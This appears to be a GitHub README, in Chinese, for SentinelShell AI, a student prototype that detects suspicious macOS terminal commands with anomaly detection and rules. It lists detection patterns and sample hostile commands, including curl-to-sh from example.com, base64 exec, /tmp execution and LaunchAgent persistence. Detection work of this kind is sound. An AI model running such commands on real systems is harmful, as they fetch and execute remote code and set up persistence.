namanssz426-debug/SentinelShell-AI
GitHub: namanssz426-debug/SentinelShell-AI
结合 Isolation Forest 异常检测与规则引擎的 macOS 终端命令威胁检测工具,可离线分析 shell 历史并生成可解释的 HTML 安全报告。
Stars: 0 | Forks: 0
# SentinelShell AI 🛡️
**结合了混合机器学习与基于规则的网络安全分析的 AI 驱动的 macOS 终端威胁检测工具。**
SentinelShell AI 是一个专注于安全的原型工具,通过分析终端命令行为来检测 macOS 上可疑的 shell 活动。它将**Isolation Forest 异常检测模型**与**基于规则的威胁引擎**相结合,识别高风险的命令模式,例如远程拉取并执行、持久化滥用、混淆、权限滥用以及异常的 shell 管道操作。
## 🚀 为什么选择 SentinelShell AI?
macOS 被开发者、学生、工程师和专业人士广泛用于以终端为中心的工作流,例如:
- 软件包安装
- 自动化脚本
- 远程访问
- Git 工作流
- 系统配置
- Python/Node/Brew 命令执行
攻击者经常利用相同的 shell 环境,使用诸如 `curl | sh`、可疑的 `chmod`、编码过的 payload、reverse shell、launch agent 持久化以及异常的进程链等命令。
SentinelShell AI 旨在在这些行为变成不可见的后台威胁之前将其检测出来。
## ✨ 主要特性
- **混合检测引擎** — 结合了 ML 异常评分与确定性的安全规则
- **macOS Shell 历史记录分析** — 从终端历史文件中分析命令模式
- **威胁分类** — 远程执行、编码过的 payload、持久化、权限滥用、可疑下载
- **可解释的告警** — 每个发现都包含原因、严重程度、置信度和检测逻辑
- **HTML 安全报告** — 生成整洁的事件风格报告,用于展示/演示
- **支持 SQLite 日志记录** — 支持存储检测结果,以便后续与仪表板集成
- **内置演示数据集** — 提供安全的示例命令,无需运行危险活动即可进行测试
## 🧠 检测逻辑
SentinelShell AI 使用两层架构:
### 1. 基于规则的威胁引擎
检测已知的可疑 shell 模式:
- `curl ... | sh`
- `wget ... | bash`
- `base64 -d | sh`
- `chmod +x` 后紧跟执行操作
- LaunchAgent 持久化模式
- reverse shell 指标
- 可疑的 `/tmp` 目录执行
### 2. 基于 ML 的异常检测
使用 **Isolation Forest** 来检测与正常 shell 行为相比在统计学上异常的命令。
这非常有用,因为攻击者可能会稍微修改命令以绕过固定的签名检测。
## 🏗️ 项目架构
```
SentinelShell-AI/
├── src/sentinelshell_ai/
│ ├── detector.py # Hybrid detection engine
│ ├── features.py # Command feature extraction
│ ├── rules.py # Rule-based threat logic
│ ├── report.py # HTML report generator
│ └── cli.py # Command line interface
├── samples/
│ └── demo_history.txt # Safe sample command history
├── sample_reports/
│ └── sample_report.html # Example output report
├── docs/
│ ├── PROJECT_OVERVIEW.md
│ ├── DEMO_SCRIPT.md
│ └── ROADMAP.md
├── tests/
├── requirements.txt
├── LICENSE
└── README.md
```
## ⚡ 快速开始
### 1. 克隆代码库
```
git clone https://github.com/YOUR_USERNAME/SentinelShell-AI.git
cd SentinelShell-AI
```
### 2. 创建虚拟环境
```
python3 -m venv .venv
source .venv/bin/activate
```
### 3. 安装依赖
```
pip install -r requirements.txt
```
### 4. 运行演示扫描
```
python -m sentinelshell_ai.cli --input samples/demo_history.txt --report sample_reports/report.html
```
### 5. 打开报告
```
open sample_reports/report.html
```
## 🧪 检测到的演示命令
内置的演示历史记录包含外观可疑的命令模式的安全示例,包括:
```
curl http://example.com/install.sh | sh
python3 -c "import base64; exec(base64.b64decode('...'))"
chmod +x /tmp/update && /tmp/update
launchctl load ~/Library/LaunchAgents/com.fake.agent.plist
```
这些命令并未被执行,仅作为文本进行扫描。
## 📊 示例输出
每条告警包含:
- 命令
- 严重程度
- 置信度分数
- 威胁类别
- 解释
- 规则匹配 / 异常信号
示例:
```
[HIGH] Remote Fetch & Execute
Command: curl http://example.com/install.sh | sh
Reason: Downloads remote script and executes it directly through shell pipeline.
Confidence: 0.92
```
## 🎯 使用场景
- macOS shell 安全研究
- 开发者端点监控原型
- 网络安全学术项目
- 基于 ML 的异常检测演示
- SOC 风格的命令行为分析
- 网络安全 / AI 实习的简历项目
## 🧩 技术栈
- Python
- scikit-learn
- 就绪的 SQLite 日志结构
- HTML/CSS 报告
- macOS shell 历史记录分析
- 基于规则的网络威胁逻辑
## 🛣️ 路线图
- [ ] 实时终端监控
- [ ] 进程与文件关联
- [ ] MITRE ATT&CK 技术映射
- [ ] 威胁情报富化
- [ ] 仪表板 UI
- [ ] 自动响应工作流
- [ ] macOS 菜单栏应用
- [ ] 签名的可部署软件包
## ⚠️ 免责声明
SentinelShell AI 是一个教育和研究原型。它不能替代企业级的 EDR 或防病毒产品。其旨在演示 shell 级别的行为检测和可解释的 AI 辅助威胁分析。
## 👤 作者
**Naman Sharma**
BCA AI/ML 学生 | 网络安全 + 机器学习爱好者
如果您是正在审查该项目的招聘人员、导师或安全工程师,我构建 SentinelShell AI 的初衷是为了探索 macOS 上传统的基于文件的安全防护与终端级别的行为威胁检测之间的差距。
## ⭐ 支持
如果您觉得这个项目很有趣,请考虑为本代码库加星。
标签:AMSI绕过, Apex, Bash安全, CSV导出, DNS 反向解析, HTML报告, IP 地址批量处理, Isolation Forest, SentinelShell, SQLite, 云计算, 人工智能, 反向Shell, 可解释性报告, 命令行分析, 威胁情报, 威胁检测, 开发安全, 开发者工具, 异常检测, 机器学习, 权限滥用, 混合检测, 用户模式Hook绕过, 端点防护, 终端安全, 结构化查询, 网络信息收集, 网络安全, 自动化安全, 规则引擎, 调试辅助, 远程执行, 逆向工具, 隐私保护, 风险评分